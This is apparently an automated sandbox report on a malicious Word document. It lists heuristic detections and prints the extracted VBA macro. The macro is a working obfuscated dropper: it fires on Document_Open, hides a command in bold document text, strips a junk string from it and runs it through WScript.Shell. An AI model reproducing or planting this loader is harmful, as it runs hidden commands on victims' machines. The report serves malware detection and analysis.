MALICIOUS
170
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set b6yyweff = CreateObject("WScript.Shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set b6yyweff = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3816 bytes |
SHA-256: dfb593cda1421f68bd801e80c3f4579a8d8955ed419b1c0e7b5902e033af4a11 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
Call hjnbb
End Sub
Private Sub hjnbb()
If 47.545 + Sin(85.8766) = Log(56.678) + Cos(784.5678) Then
Else
While "ngfdgg" = "hjgfdsgh"
gdfgjkkkd = "gdfhjj"
sdgssRh = "sdghu7t"
Wend
If "so" = "JEIG" Then
While "FHd" = "AAo"
os = "BABn"
fW = "LP"
UHaZ = 346
iULf = 1985
Wend
End If
Dim Words, Chars, MyString
For Words = 10 To 1 Step -1 ' Set up 10 repetitions.
For Chars = 0 To 9 ' Set up 10 repetitions.
MyString = MyString & Chars ' Append number to string.
Next Chars ' Increment counter
MyString = MyString & " " ' Append a space.
Next Words
Call xHvhjdn
End If
End Sub
Attribute VB_Name = "bNYXNAZNn"
#If VBA7 Then
#Else
#End If
Public Sub xHvhjdn()
On Error Resume Next
If 9.616881783936E+16 > 3.02539129970577E+15 Then
Dim nev As Long
nev = (3717 - 5) / 15
If IsDate(ewfmyktxrxuyzervhpzbfhrjiqpaflp) And ((1370235 + 46) / (453153476 + 852)) <> 9.616881783936E+16 Then
End If
End If
If 852 > 90803354650250# Then
Dim vgyna As Long
vgynaz = (90803354650250# - 46) / 3717
If IsDate(pQS4udMems1WIH1Y) And ((1370235 + 46) / (453153476 + 852)) <> 9.616881783936E+16 Then
End If
End If
Dim myShape As InlineShape
Dim myRange As Range
For Each myRange In ActiveDocument.StoryRanges
For Each myShape In myRange.InlineShapes
myShape.Delete
Next myShape
Next myRange
Dim privadte As String
Dim oRng As Range
Dim oNewRng As Range
Set oRng = Selection.Range '(the formatted range you are wanting to write)
oRng.MoveEndWhile Chr(32), wdBackward 'Remove trailing spaces from the range
Set oNewRng = ActiveDocument.Range 'Locate the range where it is to be written
oNewRng.Collapse wdCollapseEnd
'oNewRng.FormattedText = oRng 'then write it.
Dim Para As Paragraph
Dim i As Long
Application.ScreenUpdating = False
With ActiveDocument
For i = .Paragraphs.Count To 1 Step -1
Set Para = .Paragraphs(i)
With Para
If .Range.End - .Range.Start = 1 Then
.Range.Delete
Else
.SpaceBefore = 6
.SpaceAfter = 6
End If
End With
Next i
End With
Application.ScreenUpdating = True
Dim singleLine As Paragraph
Dim rng As Range
Dim pos As Integer
Dim Wrd As Range
For Each singleLine In ActiveDocument.Paragraphs
Set rng = singleLine.Range
If rng.Font.Bold Then
'MsgBox "This is bold"
lineText = singleLine.Range.Text
CNnBOyz = CNnBOyz + lineText
' MsgBox (CNnBOyz)
End If
Next
If "eyRRxYSoVOJbcmAFdwAoQNVDCoubHYauMgTkqEnOPoiVWxWYHtwHyBaQdNOIdrhwoPPwTP" = "YJmZbfzgESWTNbSvKGDHcpekXH" Then
For fORiW = 25403454 To 488001
xbHnDGPsARr = 93
ZVoIRjSpkX = "QADvcE"
eUMU = "yFTiHrsiJRu"
NdXxhPgOaE = 16397364
nzLnolmWeE = "pCxBLy"
oNyGKizhRx = 30
fF = 26863839
uOgiwE = "wX"
PoqnUzfEhXl = "thocnHUpRy"
yvoRSOunsqD = 6521
Next fORiW
Else
yvoRSOunsqD = 3455
MsgBox (CNnBOyz)
End If
CNnBOyz = Replace(CNnBOyz, "rgudxwdpkpuqnliabbsdfxbzfoserofjgab", "")
If Log(54.453) = 54.5434 Then
MsgBox (CNnBOyz1)
Else
End If
Set b6yyweff = CreateObject("WScript.Shell")
b6yyweff.Run CNnBOyz, -1
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 17408 bytes |
SHA-256: 70c723753f56a67de5ac2c4abc7fcd9d67be927581ad506f88803667859a5bab |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.